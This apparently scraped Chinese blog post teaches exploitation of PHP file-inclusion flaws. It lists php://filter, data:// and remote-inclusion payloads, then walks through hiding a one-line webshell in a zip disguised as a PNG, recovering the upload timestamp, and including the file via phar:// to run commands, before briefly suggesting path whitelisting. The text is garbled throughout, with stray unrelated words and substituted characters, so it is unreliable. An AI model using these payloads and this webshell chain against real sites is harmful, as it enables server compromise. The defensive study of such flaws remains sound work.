include、require等先关函数,include($file)php
文件包含漏洞的问题在于参数可控(路径、文件名、后缀) include($path.$filename.$ext)
html
*.php
?file=php://filter/convert.base64-encode/resource=index.php
allow_url_include&&allow_url_fopen=Off
file=\\192.168.1.1\share\xxx.php
?file=data://text://text/plain,base64,SSBsb3ZIFBIUAo=
?file=[http|https|ftp]://xxx/file
?file=http://xxx/xss.php?xss=phpcode
?file=[http|https|ftp]://xxx/file.txt[?|%23]
index.phpmysql
index.php中存在如下包含代码,能够包含一个.inc结尾的文件。此时咱们能够考虑使用伪协议进行绕过。web
phar://sql
Phar归档最好的特色是能够方便地将多个文件组合成一个文件。所以,phar归档提供了一种方法,能够将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不须要将其提取到磁盘。此外,PHP能够像执行任何其余文件同样轻松地执行phar归档,不管是在命令行上仍是在web服务器上。shell
lib.php数组
lib.php中已经对上传文件后缀作了严格的限制,可是并未对文件内容进行检测。缓存
function is_pic( $file_name ) { $extend =explode( "." , $file_name ); $va=count( $extend )-1; if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) { return 1; } else return 0; }
搜索php处理上传文件的代码$_FILE
,找到代码位置,分析上传逻辑。bash
全局搜索,判断是否只是经过session读取文件,并不会输出文件路径。搜索$_SESSION['avatar']
服务器
avatar.php:
从以上代能够看出并未对文件路径进行输出,可是使用了
file_get_contents
函数读取了文件的内容。也就是说,当咱们经过伪协议读取一个包含了php代码的压缩文件时,其中的php代码将会被执行。可是,若是想实现上述构想,就须要先获取到文件名中的时间戳。当咱们上传图片时,响应包中将会记录上传操做的时间,咱们能够将该时间转换为时间戳,该时间戳通常会和上传文件名中的时间戳相差不大。
if(is_pic($_FILES['upfile']['name'])){ $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];
咱们先准备一个一句话脚本,将其后缀改成inc,而后将inc文件打包为zip,而后再将后缀改成png。 这样咱们的上传文件就制做好了。 v.php-->v.inc-->v.zip-->v.png
上传文件,同时开启F12查看响应包信息,咱们想要的是响应包中的DATA字段的信息。
ache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: Keep-Alive Content-Length: 0 Content-Type: text/html Date: Fri, 10 Apr 2020 13:14:12 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Keep-Alive: timeout=5, max=100 Location: edit.php Pragma: no-cache Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02 X-Powered-By: PHP/5.4.45
解密时间戳
将上传响应包中的DATA字段内容,放入下列脚本中便可转换为时间戳。
咱们能够查看uploads中的文件名,对比一下两个的时间戳。两个是相同的,固然在大多数状况下两个时间可能会存在少量的误差,此时就咱们能够经过遍历最后一位或最后两位,通常就能够找到正确的时间戳。
1586524452 u_1586524452_1.png

而后咱们就能够使用伪协议进行文件包含了。使用phar来打开压缩包伪图片u_1586524452_1.png,而后读取其中的1.inc文件内容。
phar://uploads/u_1586524452_1.png/1.inc
访问如下连接便可解析php内容:
http://www.code.com/index.php?module=phar://uploads/u_1586524452_1.png/v
POST:
cmd=phpinfo() 尝试解析phpinfo(),能够成功解析,使用shell管理工具也能够成功链接webshell,说明咱们成功包含了文件。

因为已经规定了须要包含文件的后缀为.inc,所以能够从限制文件路径和文件名两个方面进行考虑。能够定义一个数组,只容许包含该数组内已存在的文件的内容。或者限制文件包含的路径,一样只容许包含部分路径的文件。